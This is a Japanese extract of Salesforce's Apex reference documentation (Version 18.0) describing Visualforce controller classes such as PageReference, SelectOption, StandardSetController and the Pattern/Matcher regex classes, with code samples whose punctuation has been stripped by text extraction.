メモ Visualforce ページにアイデアおよびコメントを表示するには次の例でコメントを表示する特定のアイデアの ID (例 apexdetailPageid=ltideaIDgt) を指定する必要があります

lt-- page named detailPage --gt ltapexpage standardController=Ideaextensions=MyIdeaExtensiongt ltapexpageBlock title=Idea Sectiongt ltideasdetailOutputLinkpage=detailPage ideaId=ideaidgtideatitle ltideasdetailOutputLinkgt ltbrgtltbrgtltapexoutputText gtideabodyltapexoutputTextgt ltapexpageBlockgt ltapexpageBlocktitle=Comments Sectiongt ltapexdataList var=a value=modifiedComments id=listgtacommentBody ltapexdataListgt ltideasdetailOutputLink page=detailPageideaId=ideaid pageOffset=-1gtPrevltideasdetailOutputLinkgt | ltideasdetailOutputLinkpage=detailPage ideaId=ideaid pageOffset=1gtNextltideasdetailOutputLinkgtltapexpageBlockgt ltapexpagegt

IdeaStandardSetController クラス

IdeaStandardSetController オブジェクトはStandardSetController クラスで提供される機能のほかIdeas 固有の機能を提供します

メモ IdeaStandardSetController クラスおよび IdeaStandardController クラスは現在限定リリースプログラムでのみ使用できます組織のこれらのクラスの有効化に関する詳細は株式会社セールスフォースドットコム の担当者までお問い合わせください

インスタンス化

IdeaStandardSetController オブジェクトはインスタンス化できません相手あの標準リストコントローラを使用してカスタム拡張コントローラのコンストラクタを通してインスタンスを取得できます

メソッド

IdeaStandardSetController オブジェクトのメソッドはIdeaStandardSetController の特定のインスタンスで呼び出され操作されます

次の表はIdeaStandardSetController のインスタンスメソッドを示します

参照 Version 180 | Visualforce クラス | 321

説明戻り値の型引数名前

現在のページセットの読み取り専用アイデアのリストを返しますltideaslistOutputLinkgt

Idea[]getIdeaList

ltideasprofileListOutputLinkgtおよびltideasdetailOutputLinkgtコンポーネントを使用してアイデアリストや詳細ページのほかプロファイルページを表示できます (下記の例参照)次にこのメソッドで返されるプロパティのリストを示しますbull Body

bull Categories

bull Category

bull CreatedByCommunityNickname

bull CreatedById

bull CreatedDate

bull Id

bull LastCommentDate

bull LastCommentId

bull LastCommentCommentBody

bull LastCommentCreatedById

bull LastCommentCreatedByCommunityNickname

bull NumComments

bull Status

bull Title

bull VoteTotal

上記メソッドのほかIdeaStandardSetController クラスは StandardSetController クラスに関連するすべてのメソッドを継承します

メモ StandardSetController クラスから継承したメソッド使用してもgetIdeaListメソッドによって返されたアイデアのリストには影響ありません

次の表に継承されるメソッドの一覧を示します

説明戻り値の型引数名前

元のページ (わかっている場合)またはホームページの PageReference を返します

SystemPageReferencecancel

レコードの最初のページを返しますVoidfirst

最大レコード数の制限以上にセット内にレコード数があるかどうかを示します偽の場合リスト

BooleangetCompleteResult

コントローラを使用して処理できる数以上のレコードがあります最大レコード数は 10000 レコードです

参照 Version 180 | Visualforce クラス | 322

説明戻り値の型引数名前

現在のコンテキストにある絞込み条件の ID を返します

StringgetFilterId

現在のページセットの後により多くのレコードがあるかを示します

BooleangetHasNext

現在のページセットの前により多くのレコードがあるかを示します

BooleangetHasPrevious

現在のユーザーに使用できるリストビューのリストを返します

SystemSelectOption[]getListViewOptions

現在のページセットのページ番号を返します最初のページは 1 を返します

IntegergetPageNumber

各ページセットに含まれているレコード数を返します

IntegergetPageSize

選択したれコートへの変更を示す sObject を返します

sObjectgetRecord

現在のページセットの sObject のリストを返します

sObject[]getRecords

セット内のレコード数を返しますIntegergetResultSize

選択されている sObject のリストを返しますsObject[]getSelected

レコードの最後のページを返しますVoidlast

レコードの次のページを返しますVoidnext

レコードの前のページを返しますVoidprevious

新しいレコードを挿入または変更されている既存のレコードを更新しますこの操作が完了した後

SystemPageReferencesave

元のページ (わかっている場合)またはホームページの PageReference を返します

コントローラの絞り込み条件 ID を設定しますVoidString filterIdsetFilterID

ページ番号を設定しますVoidInteger pageNumbersetpageNumber

各ページセットのレコード数を設定しますVoidInteger pageSizesetPageSize

選択したレコードを設定しますVoidsObjects[]selectedRecords

setSelected

例 プロファイルページの表示

次の例ではIdeaStandardSetController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示します

public class MyIdeaProfileExtension private final ApexPagesIdeaStandardSetControllerideaSetController

参照 Version 180 | Visualforce クラス | 323

public MyIdeaProfileExtension(ApexPagesIdeaStandardSetController controller) ideaSetController = (ApexPagesIdeaStandardSetController)controller

public ListltIdeagt getModifiedIdeas() Idea[] ideas = ideaSetControllergetIdeaList() modify ideas here return ideas

次の Visualforce マークアップは上記の IdeaStandardSetController の例がどのように表示されるかを示しltideasprofileListOutputLinkgtコンポーネントを使用して最新の回答を表示するプロファイルページを表示できますこの例は特定のユーザ ID を示さないためページには自動的に現在ログインしているユーザのプロファイルページが表示されますこの例が機能するページの名前は profilePageでなければなりません

lt-- page named profilePage --gt ltapexpage standardController=Ideaextensions=MyIdeaProfileExtension recordSetVar=ideaSetVargt ltapexpageBlock gtltideasprofileListOutputLink sort=recentReplies page=profilePagegt RecentRepliesltideasprofileListOutputLinkgt | ltideasprofileListOutputLink sort=ideaspage=profilePagegtIdeas Submitted ltideasprofileListOutputLinkgt |ltideasprofileListOutputLink sort=votes page=profilePagegtIdeas VotedltideasprofileListOutputLinkgt ltapexpageBlockgt ltapexpageBlock gt ltapexdataListvalue=modifiedIdeas var=ideadatagt ltideasdetailoutputlink ideaId=ideadataidpage=viewPagegt ideadatatitleltideasdetailoutputlinkgt ltapexdataListgt ltapexpageBlockgtltapexpagegt

前述の例ではltideasdetailoutputlinkgtコンポーネントは特定のアイデアの詳細ページを表示する次のVisualforce マークアップにリンクしますこの例が機能するページの名前は viewPageでなければなりません

lt-- page named viewPage --gt ltapexpage standardController=Ideagt ltapexpageBlock title=IdeaSectiongt ltideasdetailOutputLink page=viewPage ideaId=ideaidgtideatitleltideasdetailOutputLinkgt ltbrgtltbrgt ltapexoutputTextgtideabodyltapexoutputTextgtltapexpageBlockgt ltapexpagegt

例 上位最近使用したおよび最も人気のあるアイデアおよびコメントのリストを表示

次の例ではIdeaStandardSetController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示します

メモ この例がアイデアを返すには少なくとも 1 つのアイデアを作成する必要があります

public class MyIdeaListExtension private final ApexPagesIdeaStandardSetControllerideaSetController

public MyIdeaListExtension (ApexPagesIdeaStandardSetController controller) ideaSetController = (ApexPagesIdeaStandardSetController)controller

public ListltIdeagt getModifiedIdeas() Idea[] ideas = ideaSetControllergetIdeaList() modify ideas here return ideas

次の Visualforce マークアップは上記の IdeaStandardSetController 例をltideaslistOutputLinkgtコンポーネントとともに使用して最近の上位のおよび最も人気あるアイデアおよびコメントをどのように表示するかを示しますこの例が機能するページの名前は listPageでなければなりません

lt-- page named listPage --gt ltapexpage standardController=Ideaextensions=MyIdeaListExtension recordSetVar=ideaSetVargt ltapexpageBlock gt

参照 Version 180 | Visualforce クラス | 324

ltideaslistOutputLink sort=recent page=listPagegtRecent Ideas ltideaslistOutputLinkgt |ltideaslistOutputLink sort=top page=listPagegtTop Ideas ltideaslistOutputLinkgt |ltideaslistOutputLink sort=popular page=listPagegtPopular Ideas ltideaslistOutputLinkgt| ltideaslistOutputLink sort=comments page=listPagegtRecent CommentsltideaslistOutputLinkgt ltapexpageBlockgt ltapexpageBlock gt ltapexdataListvalue=modifiedIdeas var=ideadatagt ltideasdetailoutputlink ideaId=ideadataidpage=viewPagegt ideadatatitleltideasdetailoutputlinkgt ltapexdataListgt ltapexpageBlockgtltapexpagegt

前述の例ではltideasdetailoutputlinkgtコンポーネントは特定のアイデアの詳細ページを表示する次のVisualforce マークアップにリンクしますこのページの名前は viewPageでなければなりません

lt-- page named viewPage --gt ltapexpage standardController=Ideagt ltapexpageBlock title=IdeaSectiongt ltideasdetailOutputLink page=viewPage ideaId=ideaidgtideatitleltideasdetailOutputLinkgt ltbrgtltbrgt ltapexoutputTextgtideabodyltapexoutputTextgtltapexpageBlockgt ltapexpagegt

Messageクラス

標準コントローラを使用している場合エンドユーザが保存したときに発生するすべての入力規則エラー (標準カスタムとも) が自動的にページの error コレクションに追加されますinputFieldコンポーネントがエラーを返すとそのコンポーネントの page error コレクションにエラーメッセージが追加されますまたそのページの error コレクションにすべてのメッセージが追加されます詳細は『Visualforce Developers Guide』の「入力規則と標準コントローラ」を参照してください

アプリケーションでカスタムコントローラや拡張コントローラを使用している場合はエラー管理用のmessage

クラスを使用する必要があります

インスタンス化

カスタムコントローラまたはコントローラ拡張の場合次のいずれかの方法でMassage をインスタンス化できます

bull ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesseverity summary)

ここでApexPagesseverityはメッセージの重要度を指定する enum でsummaryはメッセージを要約するために使用する String です例

ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesSeverityFATAL エラーメッセージ)

bull ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesseverity summary detail)

ここでApexPages severityはメッセージの重要度を指定する enum でsummaryはメッセージを要約するために使用する Stringdetailはエラーに関する詳細情報を説明する String used to です

メソッド

Message メソッドはMessage のある特定のインスタンスからコールされ処理されます

次の表はMessage のインスタンスメソッドを示します

参照 Version 180 | Visualforce クラス | 325

説明戻り値の型引数名前

関連する inputFieldコンポーネントのラベルを返しますラベルが定義されていない場合メソッドは null を返します

StringgetComponentLabel

メッセージの作成に使用する詳細パラメータの値を返します詳細の String が指定されていない場合このメソッドは null を返します

StringgetDetail

メッセージの作成に使用する重要度の enum を返します

ApexPagesSeveritygetSeverity

メッセージの作成に使用する要約の String を返します

StringgetSummary

ApexPagesSeverity Enum

ApexPagesSeverity enum 値を使用してメッセージの重要度を指定します有効な値は次のとおりです

bull CONFIRM

bull ERROR

bull FATAL

bull INFO

bull WARNING

すべての enum はnameや valueなど標準メソッドにアクセスできます

PageReference クラス

A PageReference はページのインスタンス化への参照ですその他の属性に対しPageReferences は URL や一連のクエリパラメータ名および値で構成されています

PageReference オブジェクトを使用する目的は次のとおりです

bull ページのクエリ文字列パラメータおよび値を表示または設定するbull ユーザーをアクションメソッドの結果として異なるページにナビゲートする

インスタンス化

カスタムコントローラまたはコントローラ拡張の場合 次のいずれかの方法でPageReference を参照またはインスタンス化できます

参照 Version 180 | Visualforce クラス | 326

bull PageexistingPageName

組織内にすでに保存されている Visualforce ページの PageReference を参照しますこのようにページを参照することによってプラットフォームはこのコントローラまたはコントローラ拡張が指定されたページの有無に依存することを認識しページがコントローラまたは拡張が存在する間に削除されないようにします

bull PageReference pageRef = new PageReference(partialURL)

Forcecom プラットフォームでホストされるページに PageReference を作成しますたとえばpartialURL

をapexHelloWorldに設定するとhttpmySalesforceInstanceapexHelloWorldにあるVisualforceページを参照します同様にpartialURLを + recordID二設定すると指定されたレコードの詳細ページを参照します

この構文はPageReference はコンパイル時に参照されるだけではなく実行時に構築されるためPageexistingPageNameページ以外のVisualforceページの参照には推奨されませんランタイムの参照は参照の信頼性システムには使用できませんその結果プラットフォームはこのコントローラまたはコントローラ拡張機能が指定されたページの有無によって異なることを認識せずエラーメッセージが表示されないためページが削除されません

bull PageReference pageRef = new PageReference(fullURL)

外部 URL の PageReference を作成します例

PageReference pageRef = new PageReference(httpwwwgooglecom)

currentPage ApexPages メソッドで現在のページの PageReference オブジェクトをインスタンス化することもできます例

PageReference pageRef = ApexPagescurrentPage()

メソッド

PageReference メソッドはPageReference のある特定のインスタンスからコールされ処理されます

次の表はPageReference のインスタンスメソッドを示します

説明戻り値の型引数名前

ページ上のアンカーの名前を返しますStringgetAnchor

Web ブラウザでユーザーに対して表示されるようにページの出力を返します返される Blob の内

BlobgetContent

容はページがどのように表示されるかに依存しますページを PDF で表示するとPDF を返しますページを PDF で表示しない場合HTMLを返します返される HTML の内容に文字列としてアクセスするにはtoString Blob メソッドを使用します

メモ テストメソッドで getContentを使用するとPDF として表示されるVisualforce ページで使用する場合空白のPDF が表示されます

参照 Version 180 | Visualforce クラス | 327

説明戻り値の型引数名前

getContentをトリガで使用することはできません

Visualforce ページにエラーがない場合ExecutionExceptionが返されます

e ltapexpagegtコンポーネントの renderAs属性に関係なくページを PDF として返します

BlobgetContentAsPDF

要求ヘッダーのマップを返しますキー文字列にはヘッダー名が含まれ値文字列にはヘッダーの

MapltString StringgtgetHeaders

値が含まれますこのマップを変更してPageReference オブジェクトの範囲に保持できますたとえば次を実行できますPageReferencegetParameters()put(Date9999)

ページ URL に含まれるクエリ文字列パラメータのマップを返しますキー文字列にはパラメータ

MapltString StringgtgetParameters

の名前が含まれ値文字列にはパラメータの値が含まれますこのマップを変更してPageReferenceオブジェクトの範囲に保持できますたとえば次を実行できますPageReferencegetParameters()put(idmyID)

PageReference オブジェクトの redirect属性の現在の値を返します

PageReference オブジェクトの URL がsalesforcecomドメイン外のWeb サイトに設定

BooleangetRedirect

されている場合redirect属性が真または偽のどちらに設定されているかに関係なくリダイレクトが必ず発生します

元来定義されている場合はPageReference に関連する URL を返します

StringgetUrl

ページ上のアンカーの名前を設定しますSystemPageReferenceString AnchorsetAnchor

PageReference オブジェクトの redirect属性の値を返しますtrue の場合クライアント側のリダ

SystemPageReferenceBoolean redirectsetRedirect

イレクトでリダイレクトが実行されますこの種類のリダイレクトは HTTP GET 要求を実行しPOST を使用して表示状況を更新しますfalse に設定するとリダイレクトは表示状況を保つサーバー側の転送でターゲットページが同じコントローラを使用しソースページに使用される拡張の適切なサブセットを含みます

参照 Version 180 | Visualforce クラス | 328

説明戻り値の型引数名前

PageReference オブジェクトの URL がsalesforcecomドメイン外のWeb サイトまたは別のコントローラまたはコントローラ拡張を含むページにに設定されている場合redirect属性が真または偽のどちらに設定されているかに関係なくリダイレクトが必ず発生します

例 クエリ文字列パラメータの取得

次の例ではPageReference オブジェクトを使用して現在の URL のクエリ文字列パラメータを取得する方法を示しますこの例ではgetAccountメソッドは idクエリ文字列パラメータを参照します

public class MyController

public Account getAccount() return [SELECT id name FROM Account WHERE id =ApexPagescurrentPage()getParameters()get(id)]

次のページマークアップは上記のコントローラから getAccountメソッドをコールします

ltapexpage controller=MyControllergt ltapexpageBlock title=Retrieving Query StringParametersgt You are viewing the accountname accountltapexpageBlockgt ltapexpagegt

メモ

この例が正しく機能するにはVisualforce ページを URL の有効な取引先レコードを関連付ける必要がありますたとえば001D000000IRt53が取引先 ID の場合次の URL を使用します

httpsSalesforcecom_instanceapexMyFirstPageid=001D000000IRt53

getAccountメソッドは埋め込み SOQL クエリを使用してページの URL の idパラメータで指定した取引先を返しますidにアクセスするためにgetAccountメソッドは次のようにグローバル ApexPages名前空間を使用します

bull まずcurrentPageメソッドが現在のページの PageReferenceインスタンスを返しますPageReference

はクエリ文字列パラメータなどVisualforce ページへの参照を返しますbull ページ参照を使用してgetParametersメソッドを使用して指定されたクエリ文字列パラメータの名前と

値のマップを返しますbull そしてidを指定する getメソッドはidパラメータ自体の値を返します

例 アクションメソッドの結果として新しいページへの移動

カスタムコントローラまたはコントローラ拡張のアクションメソッドはメソッドの結果として PageReferenceオブジェクトを返すことができますPageReference の redirect属性を真に設定すると PageReference に指定された URL に移動します

参照 Version 180 | Visualforce クラス | 329

次の例ではsaveメソッドでどのように実装できるかを示しますこの例ではsaveメソッドで返されたPageReference はユーザーを保存された取引先レコードの詳細ページに移動させます

public class mySecondController

Account account

public Account getAccount() if(account == null) account = new Account() return account

public PageReference save()

データベースに取引先を追加します insert account

ユーザーを新しい取引先の詳細ページに移動させますPageReference acctPage = newApexPagesStandardController(account)view() acctPagesetRedirect(true)

return acctPage

次のページマークアップは上記のコントローラから saveメソッドをコールしますユーザーが [保存] をクリックすると作成されたばかりの取引先の詳細ページに移動します

ltapexpage controller=mySecondController tabStyle=Accountgt ltapexsectionHeader title=NewAccount Edit Page gt ltapexformgt ltapexpageBlock title=Create a New AccountgtltapexpageBlockButtons location=bottomgt ltapexcommandButton action=save value=SavegtltapexpageBlockButtonsgt ltapexpageBlockSection title=Account Informationgt ltapexinputFieldid=accountName value=accountnamegt ltapexinputField id=accountSitevalue=accountsitegt ltapexpageBlockSectiongt ltapexpageBlockgt ltapexformgt ltapexpagegt

SelectOptionクラス

SelectOption オブジェクトは Visualforce selectCheckboxesselectListまたは selectRadioコンポーネントの可能な値のいずれかを指定しますSelectOption オブジェクトはエンドユーザーに表示されるラベルオプションが選択されている場合はコントローラに返される値で構成されていますSelectOption は無効な状態で表示することもできますそのためユーザーはオプションとして選択することはできませんが表示することはできます

インスタンス化カスタムコントローラまたはコントローラ拡張の場合次のいずれかの方法でSelectOption をインスタンス化できます

参照 Version 180 | Visualforce クラス | 330

bull SelectOption option = new SelectOption(value label isDisabled)

valueはオプションをユーザーが選択されている場合のコントローラに返される String ですlabelはオプションの選択としてユーザーに表示されている String ですisDisabledは Boolean で真の場合オプションが表示されているにもかかわらすオプションを選択することができないように指定します

bull SelectOption option = new SelectOption(value label)

valueはオプションをユーザーが選択されている場合コントローラに返される String ですlabelはオプションの選択としてユーザーに表示されている String ですisDisabledの値は選択されていないためオプションは表示されユーザーはそれを選択することができます

メソッド

SelectOption メソッドはSelectOption のある特定のインスタンスからコールされ処理されます

次の表はSelectOption のインスタンスメソッドを示します

説明戻り値の型引数名前

SelectOption オブジェクトの isDisabled属性の現在の値を返しますisDisabledがtrueに設定

BooleangetDisabled

されている場合オプションは表示されますがユーザーは選択することはできませんisDisabledが falseに設定されている場合オプションは表示されユーザーはオプションを選択することができます

SelectOption オブジェクトの itemEscaped属性の現在の値を返しますitemEscapedが trueに設

BooleangetEscapeItem

定されている場合センシティブな HTML および XML 文字はこのコンポーネントによって生成された HTML 出力にエスケープされますitemEscapedが falseに設定されている場合項目は書き込まれたとおりに表示されます

ユーザーに表示されるオプションラベルを返します

StringgetLabel

ユーザーがオプションを選択する場合コントローラに返されるオプション値を返します

StringgetValue

SelectOption オブジェクトの isDisabled属性の値を返しますisDisabledがtrueに設定されて

VoidBooleanisDisabled

setDisabled

いる場合オプションは表示されますがユーザーは選択することはできませんisDisabledがfalseに設定されている場合オプションは表示されユーザーはオプションを選択することができます

SelectOption オブジェクトの itemEscaped属性の値を返しますitemEscapedが trueに設定され

VoidBooleanitemsEscaped

setEscapeItem

参照 Version 180 | Visualforce クラス | 331

説明戻り値の型引数名前

ている場合センシティブな HTML および XML文字はこのコンポーネントによって生成されたHTML 出力にエスケープされますitemEscaped

がfalseに設定されている場合項目は書き込まれたとおりに表示されます

ユーザーに表示されるオプションラベルの値を設定します

VoidString lsetLabel

ユーザーがオプションを選択する場合コントローラに返されるオプション値の値を設定します

VoidString vsetValue

次の例ではSelectOptions オブジェクトのリストを使用してVisualforceページの selectCheckboxesコンポーネントに可能な値を提供することができます次のカスタムコントローラでgetItemsメソッドは可能なSelectOption オブジェクトのリストを定義して返します

public class sampleCon

String[] countries = new String[]

public PageReference test() return null

public ListltSelectOptiongt getItems() ListltSelectOptiongt options = new ListltSelectOptiongt()optionsadd(new SelectOption(USUS)) optionsadd(new SelectOption(CANADACanada))optionsadd(new SelectOption(MEXICOMexico)) return options

public String[] getCountries() return countries

public void setCountries(String[] countries) thiscountries = countries

次のページマークアップでltapexselectOptionsgtタグは上記のコントローラの getItemsメソッドを使用して可能な値のリストを取得しますltapexselectOptionsgtはltapexselectCheckboxesgtタグの子であるためオプションはチェックボックスとして表示されます

ltapexpage controller=sampleCongt ltapexformgt ltapexselectCheckboxes value=countriesgtltapexselectOptions value=itemsgt ltapexselectCheckboxesgtltbrgt ltapexcommandButtonvalue=Test action=test rerender=out status=statusgt ltapexformgt ltapexoutputPanelid=outgt ltapexactionstatus id=status startText=testinggtltapexfacet name=stopgtltapexoutputPanelgt ltpgtYou have selectedltpgt ltapexdataList value=countriesvar=cgtcltapexdataListgt ltapexoutputPanelgt ltapexfacetgt ltapexactionstatusgtltapexoutputPanelgt ltapexpagegt

StandardController クラス

StandardController オブジェクトはsalesforcecomが提供する事前に構築されたVisualforceコントローラを参照しますStandardController オブジェクトを参照する必要があるのは標準コントローラの拡張を定義している場合のみですStandardController は拡張クラスコンストラクタの単一引数のデータ型です

参照 Version 180 | Visualforce クラス | 332

インスタンス化

次のような方法でStandardController をインスタンス化することができます

bull ApexPagesStandardController sc = new ApexPagesStandardController(sObject)

メソッド

StandardController メソッドはStandardController のある特定のインスタンスからコールされ処理されます

次の表はStandardController のインスタンスメソッドを示します

説明戻り値の型引数名前

キャンセルページの PageReference を返しますSystemPageReferencecancel

レコードを削除し削除ページの PageReference を返します

SystemPageReferencedelete

標準編集ページの PageReference を返しますSystemPageReferenceedit

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードの ID を返します

StringgetId

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードを返します

関連する Visualforce マークアップで参照される項目のみがこの SObject について問い合わせるこ

SObjectgetRecord

とができます関連するオブジェクトの項目などその他の項目はすべてSOQL 表現を使用して問い合わせる必要があります

ヒント 問い合わせしたい追加項目を参照する非表示コンポーネントを使用してこの制約を回避することができますコンポーネントのrendered属性をfalseに設定してコンポーネントを非表示にします例

ltapexoutputTextvalue=accountbillingcityaccountcontactsrendered=falsegt

変更を保存し更新された PageReference を返します

SystemPageReferencesave

標準詳細ページの PageReference オブジェクトを返します

SystemPageReferenceview

参照 Version 180 | Visualforce クラス | 333

次の例ではStandardController オブジェクトを標準コントローラ拡張のコンストラクタでどのように使用できるかを示します

public class myControllerExtension

private final Account acct

拡張コンストラクタは標準コントローラの getRecord メソッドを使用してプライベートメンバー 変数の acct を初期化します public myControllerExtension(ApexPagesStandardController stdController) thisacct = (Account)stdControllergetRecord()

public String getGreeting() return Hello + acctname + ( + acctid + )

次の Visualforce マークアップは上記のコントローラ拡張をどのようにページ内で使用できるかを示します

ltapexpage standardController=Account extensions=myControllerExtensiongt greetingltpgt ltapexformgt ltapexinputField value=accountnamegt ltpgt ltapexcommandButtonvalue=Save action=savegt ltapexformgt ltapexpagegt

StandardSetController クラス

StandardController オブジェクトを使用してSalesforcecom が提供する事前に構築された Visualforce リストコントローラに類似したまたはそのリストコントローラの拡張としてリストコントローラを作成することができます

メモ 他の Salesforcecom オブジェクトに必要な項目はこのプロトタイプオブジェクトを使用する場合と同じ必要性です

Apex の一括処理について次のガバナ制限に注意してください

bull 最大 5 件のキュー内またはアクティブ一括処理ジョブを Apex で行うことができますVisualforce でも 5 件の一括処理ジョブを行うことができます

bull ユーザは 1 度に最大 5 個のクエリカーソルを開くことができますたとえば5 個のカーソルが開き新しいカーソルを同じユーザが開こうとする場合にクライアント アプリケーションがログインしている場合5 個のカーソルのうち最も古いカーソルが解放されます

メモ 異なる Forcecom 機能のカーソル制限は個別に追跡されますたとえば5 個の Apex クエリーカーソル5 個のバッチカーソル5 個の Visualforce 個を同時に開くことができます

bull DatabaseQueryLocatorオブジェクトでは最大 5000 万件のレコードが返されます5000 万件以上のレコードが返された場合一括処理ジョブは即座に終了し「失敗」とマークされます

bull オプションの scopeパラメータでサイズが指定されていない場合Salesforcecom はQueryLocator が 200 件のバッチに返したレコードを一括処理し各バッチを executeメソッドに渡しますApex ガバナ制限はexecuteの各実行でリセットされます

bull 組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができますbull startexecuteおよび finishメソッドはメソッドごとに 1 回のコールアウトだけ実行できます

インスタンス化

次のいずれかの方法でStandardSetController をインスタンス化することができます

参照 Version 180 | Visualforce クラス | 334

bull sObjects のリストの場合

Listltaccountgt accountList = [SELECT name FROM Account LIMIT 20]ApexPagesStandardSetController ssc = new ApexPagesStandardSetController(accountList)

bull クエリロケータの場合

ApexPagesStandardSetController ssc = newApexPagesStandardSetController(DatabasegetQueryLocator([SELECT nameclosedate FROMOpportunity]))

メソッド

StandardSetController メソッドはStandardSetController のある特定のインスタンスからコールされ処理されます

次の表はStandardSetController のインスタンスメソッドを示します

説明戻り値の型引数名前

元のページ (わかっている場合)またはホームページの PageReference を返します

SystemPageReferencecancel

レコードの最初のページを返しますVoidfirst

最大レコード数の制限以上にセット内にレコード数があるかどうかを示します偽の場合リスト

BooleangetCompleteResult

コントローラを使用して処理できる数以上のレコードがあります最大レコード数は 10000 レコードです

現在のコンテキストにある絞込み条件の ID を返します

StringgetFilterId

現在のページセットの後により多くのレコードがあるかを示します

BooleangetHasNext

現在のページセットの前により多くのレコードがあるかを示します

BooleangetHasPrevious

現在のユーザーに使用できるリストビューのリストを返します

SystemSelectOption[]getListViewOptions

現在のページセットのページ番号を返します最初のページは 1 を返します

IntegergetPageNumber

各ページセットに含まれているレコード数を返します

IntegergetPageSize

選択したれコートへの変更を示す sObject を返します

sObjectgetRecord

現在のページセットの sObject のリストを返します

sObject[]getRecords

参照 Version 180 | Visualforce クラス | 335

説明戻り値の型引数名前

セット内のレコード数を返しますIntegergetResultSize

選択されている sObject のリストを返しますsObject[]getSelected

レコードの最後のページを返しますVoidlast

レコードの次のページを返しますVoidnext

レコードの前のページを返しますVoidprevious

新しいレコードを挿入または変更されている既存のレコードを更新しますこの操作が完了した後

SystemPageReferencesave

元のページ (わかっている場合)またはホームページの PageReference を返します

コントローラの絞り込み条件 ID を設定しますVoidString filterIdsetFilterID

ページ番号を設定しますVoidInteger pageNumbersetpageNumber

各ページセットのレコード数を設定しますVoidInteger pageSizesetPageSize

選択したレコードを設定しますVoidsObjects[]selectedRecords

setSelected

次の例ではStandardSetController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示します

public class opportunityList2Con public ApexPagesStandardSetController setCon get if(setCon == null) setCon = newApexPagesStandardSetController(DatabasegetQueryLocator([select nameclosedate fromOpportunity])) return setCon set public ListltOpportunitygt getOpportunities() return (ListltOpportunitygt) setCongetRecords()

次の Visualforce マークアップは上記のコントローラをどのようにページ内で使用できるかを示します

ltapexpage controller=opportunityList2Congt ltapexpageBlock gt ltapexpageBlockTablevalue=opportunities var=ogt ltapexcolumn value=onamegt ltapexcolumnvalue=oclosedategt ltapexpageBlockTablegt ltapexpageBlockgt ltapexpagegt

パターンおよびマッチャークラス正規表現とは特定の構文を使用して他の文字列との一致を探すために使用する文字列ですApexではPatternおよび Matcher クラスにより正規表現の使用をサポートしています

メモ Apex では正規表現と同様にPattern と Matcher も Java のカウンターパートに基づいていますhttpjavasuncomj2se150docsapiindexhtmljavautilregexPatternhtml を参照してください

参照 Version 180 | パターンおよびマッチャークラス | 336

Pattern と Matcher の使用

Pattern とは正規表現をコンパイルしたものですPattern はMatcher が文字列に対してマッチ処理を実行するのに使用します次の図に示すように多くの Matcher オブジェクトは同じ Pattern オブジェクトを共有します

図 9 多くの Matcher は同じ Pattern オブジェクトから作成します

Apexの正規表現はJava で使用される正規表現の標準に従っていますJava ベースのすべての正規表現文字列を簡単に Apex スクリプトにインポートできます

メモ Salesforcecom では正規表現の入力シーケンスにアクセスできる回数を 1000000 回に制限していますその制限に達するとランタイムエラーが発生します

すべての正規表現は文字列として指定されますほとんどの正規表現はまず Pattern オブジェクトにコンパイルされますString splitメソッドのみがコンパイルされていない正規表現を扱うことができます

一般的に正規表現を Pattern オブジェクトにコンパイルするとPattern オブジェクトは Matcher オブジェクトの作成時に 1 回のみ使用しますその他の処理は Matcher オブジェクトを使用して実行されます例

新しい Pattern オブジェクト「MyPattern」をインスタンス化MyPattern = Patterncompile(ab)

続いて新しい Matcher オブジェクト「MyMatcher」をインスタンス化Matcher MyMatcher =MyPatternmatcher(aaaaab)

システム静的メソッド assert を使用しマッチを確認できますSystemassert(MyMatchermatches())

正規表現を 1 回のみ使用する場合はPattern クラスの matchesメソッドを使用すると表現のコンパイルと文字列に対するマッチ処理を 1 回の呼び出して実行できますたとえば次のコードは上記のコードと同一です

Boolean Test = Patternmatches(ab aaaaab)

リージョンの使用

Matcher オブジェクトはリージョン という入力文字列のサブセットでマッチを探しますMatcher オブジェクトのデフォルトリージョンは常に入力文字列全体ですしかしregionメソッドを使用してリージョンの開始点と終了点を変更できますリージョンの終了点は regionStartおよび regionEndメソッドを使用してクエリを実行し取得できます

参照 Version 180 | パターンおよびマッチャークラス | 337

regionメソッドにはstart 値と end 値の両方が必要です次の表は一方の値のみを設定しもう一方の値を設定しない例について示します

コード例リージョンの終了リージョンの開始

MyMatcherregion(start MyMatcherregionEnd())変更しない明示的に指定

MyMatcherregion(MyMatcherregionStart() end)明示的に指定変更しない

MyMatcherregion(0 end)明示的に指定デフォルト値にリセット

マッチ処理の使用

Matcher オブジェクトはPattern を解釈し文字シーケンスに対するマッチ処理を実行します

Matcher オブジェクトはPattern のmatcherメソッドにより Pattern 内でインスタンス化されます一度作成するとMatcher オブジェクトは次のタイプのマッチ処理の実行に使用できます

bull matcherメソッドを使用したパターンに対する Matcher オブジェクト全体の入力文字列の一致bull lookingAtメソッドを使用したパターンに対する Matcher オブジェクト全体の入力文字列の一致この一

致の際先頭から開始するもののリージョン全体のマッチングは行いませんbull findメソッドを使用したパターンに一致する次のサブ文字列のための Matcher オブジェクトの入力文字列

のスキャン

それぞれのメソッドは成功または失敗を表す Boolean を返します

これらのメソッドのいずれかを使用した後に次の Matcher クラスメソッドを使用して前回の一致に関する詳細情報 (検索されたものなど) を取得できます

bull end 一致があるとこのメソッドは一致文字列の中で最後の文字が一致した後ろの位置を返しますbull start 一致があるとこのメソッドは一致文字列の中の最初の文字が一致した位置を返しますbull group 一致があるとこのメソッドは一致したサブシーケンスを返します

境界の使用

デフォルトではリージョンはアンカー付き境界で区切られていますつまりリージョンの境界が入力文字列の先頭から末尾まで移動したとしてもラインアンカー (^または $など) がリージョンの境界に一致しますリージョンがuseAnchoringBoundsメソッドでアンカー付きリージョンを使うかどうかを指定できますデフォルトではリージョンは常にアンカー付き境界を使用しますuseAnchoringBoundsをfalseに設定した場合ラインアンカーは入力文字列の本当の末尾にしか一致しません

